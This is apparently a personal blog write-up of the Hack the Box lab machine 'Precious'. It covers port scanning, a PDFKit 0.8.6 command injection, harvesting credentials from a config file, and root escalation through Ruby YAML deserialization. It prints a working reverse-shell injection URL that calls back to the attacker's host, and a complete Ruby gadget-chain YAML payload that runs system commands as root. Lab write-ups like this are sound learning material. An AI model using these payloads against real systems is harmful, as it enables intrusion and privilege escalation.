Hack the Box - Precious
Posted on May 20, 2023 • 3 minutes • 573 words
Today we are doing the Hack the Box machine Precious. This machine is listed as an Easy machine.
We start by doing a basic rustscan
of the system - 10.129.228.98:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Now we take a look at what’s going on for the webservice. We are greeted with a page that says we can convert a web page to a PDF.
So we point it at itself, but doesn’t seem to be able to read it. So we host our own web server via python3 -m http.server 80
and sure enough, it can convert that to a PDF. Trying a few more things but none seem to really get us anywhere in terms of extract information from the server itself. Next we run strings
on the file and determine its made by PDFKit 0.8.6
. Google shows an exploit and quite a few PoC’s - (see)[https://duckduckgo.com/?q=pdfkit+exploit&atb=v332-1&ia=web].
So now that we can see a method for creating a reverse shell, we do just that. We craft a webpage with a shell on it. Trying multiple shells the one that eventually worked was this query:
http://10.10.14.2/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.2/4242 0>&1"`
I wasn’t able to catch any python
shells back and the ruby
shells kept terminating unexpectedly - so if anyone out there knows why, let me know!
We set up our netcat
listener and run the command.
Once we’re on the box, we transfer over linpeas.sh
and let that do some enumeration. While that runs, we can manually enumerate a bit. We end up finding a file called config
in the ~/.bundle
directory. Reading the contents of this file gives us credentials.
We try these credentials for SSH
and sure enough, they work! We are able to login as henry
and get our user.txt
flag!
Now with the first flag down, we start to enumerate again. We run our standard sudo -l
and see that we do have access to a file we can run.
We are able to run update_dependencies.rb
as root
. So, we inspect this file.
As we review this code, we see somethign that sticks out immediatly. A YAML
file that is being read incorrectly. The application is using YAML.load
which is unsafe. So, reminding myself that this is Ruby
and not Python
, do a quick check on Yaml Deserialization
for Ruby
. Turns out this is indeed a thing
and multple sources
of it as well!
Now, reading through these research documents we have an idea of what we need to do. We’ll create a dependencies.yml
file with our malicious code within.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cat /root/root.txt
method_id: :resolve
Next we simply run the update_dependencies.rb
file.
There we are, the root
flag!. After that, modifying the code to do whatever you want is easy. So, I re-ran the exploit again, but this time simply asking for a root
shell. To do this, simply modify the git_set
in the dependencies.yml
file to as for /bin/bash
. Poof. Root
shell!
Another machine down. See ya’ll next time!